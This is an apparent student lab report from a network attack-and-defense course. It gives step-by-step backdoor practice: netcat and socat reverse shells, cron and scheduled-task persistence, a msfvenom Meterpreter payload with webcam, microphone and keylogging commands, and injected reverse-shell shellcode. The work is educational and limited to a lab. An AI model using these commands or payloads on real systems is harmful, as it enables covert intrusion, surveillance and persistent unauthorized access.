2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践


1.后门概念

  • 后门就是不经过正常认证流程而访问系统的通道。

2. 常用后门工具

2.1 NC 或 netcat

2.1.1 Win获得Linux Shell

  • 在Windows下使用ipconfig查看本机IP

  • 使用ncat.exe程序ncat.exe -l -p 5322打开监听,并检查windows和linux的连通性

  • 在kali中反弹连接Windows,ncat 192.168.132.1 5322 -e /bin/sh,使用-e选项执行shell程序

  • windows下获得一个linux shell,可运行任何指令,如ls

2.1.2 Linux获得Win Shell

  • 在kali中先安装net-tools,然后才能使用使用ifconfig命令查看IP

  • 打开监听nc -l -p 5322

  • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.132.138 5322

  • kali成功获得Windows的命令提示

*2.1.3 Mac获取Win shell

*2.1.4 Win获取Mac Shell

*2.1.5 Mac获取Linux Shell

*2.1.6 Linux获取Mac Shell

2.1.7 Netcat扩展知识

使用nc传输数据

  • Windows下监听5322端口,ncat.exe -l 5322
  • kali反弹连接到Windows的5322端口,nc 192.168.132.1 5322
  • 连接建立成功,双方可以相互传输数据

使用nc传输文件(将文件从kali传给Windows)

  • Windows下监听5322端口,并把收到的数据保存到file1.out中,ncat.exe -l 5322 > file1.out
  • kali 反弹连接到Windows的5322端口,nc 192.168.132.1 5322 < file1.in
  • 连接建立成功,Windows可以收到kali发来的文件

2.2 Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
  • 参数说明
    • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

3.后门启动

3.1使用netcat获取主机操作Shell,cron启动

  • crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3

  • 最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口

  • linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

3.2使用socat获取主机操作Shell, 任务计划启动

  • 右击我的电脑,点击管理

  • 点击任务计划程序,再点击创建任务

  • 填写任务名,新建一个触发器

  • 新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr

  • 创建好后显示任务准备就绪

  • 到达21:25后,再次打开时,可以发现创建的任务正在运行

  • 自行弹出一个cmd窗口

  • 在kali中输入输入指令socat - tcp:192.168.132.1:5322,完成连接,获得windows shell

3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe生成后门程序

  • windows使用ncat.exe -lv 5322 > backdoor5322.exe,查看连接状态

  • linux使用nc 192.168.132.1 5322 < backdoor5322.exe传输后门程序,传输成功后windows会给出提示

  • 传送接收文件成功

  • linux使用msfconsole进入msf控制台,并键入以下命令:

使用监听模块,设置payload:use exploit/multi/handler
使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
linux的IP地址:set LHOST 192.168.132.138
使用相同的端口:set LPORT 5322
查看设置:show options
  • 进入msf控制台后的界面:

  • 输入指令后的界面:

  • linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell

3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

  • 使用screenshot指令可以进行截屏

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作

3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • Exploit DataBase中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
  • linux使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

  • 使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中:

perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

  • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1找到pwn1的进程号,之后启动gdb使用attach调试,使用disassemble foo查看ret的地址,设置断点,然后在另外一个终端中按下回车,再在gdb输入c继续运行

  • 使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据

存放的地址为0xffffd38c,计算出shellcode地址就是0xffffd38c+4,即0xffffd390

  • 在一个终端中打开msf控制台开始监听

  • 在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件

  • 另一个终端得到shell开始运行

4.收获感想

  • 本次实验较为简单,但是比较好费时间。其中加分项可以借鉴之前实验一的操作流程,整个实验中没有太大的难点。通过本次实验,我了解了后门的基本原理,自己动手操作体验,感受到了后门的危害性,希望在日后的学习过程中能够学到更多知识。

5.问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 在非官方网站上下载应用程序,这些程序有可能会绑定某些可执行文件,从而留下后门。点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中,留下后门。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • Linux:Crontab定时启动;注入shellcode。
    • Windows:新建任务计划;修改注册表项,设置后门程序自启动;用户执行带后门的执行文件。
  • (3)Meterpreter有哪些给你映像深刻的功能?
    • 通过后门控制被控主机的shell,可以获取目标主机的音频、摄像头、击键记录等功能。
  • (4)如何发现自己有系统有没有被安装后门?
    • 使用安全软件,对系统进行定时检测,查杀恶意文件。
    • 使用任务管理器等系统软件查看后台是否有异常程序。
posted @ 2020-03-18 12:57  20175322周弋鸿  阅读(202)  评论(0编辑  收藏  举报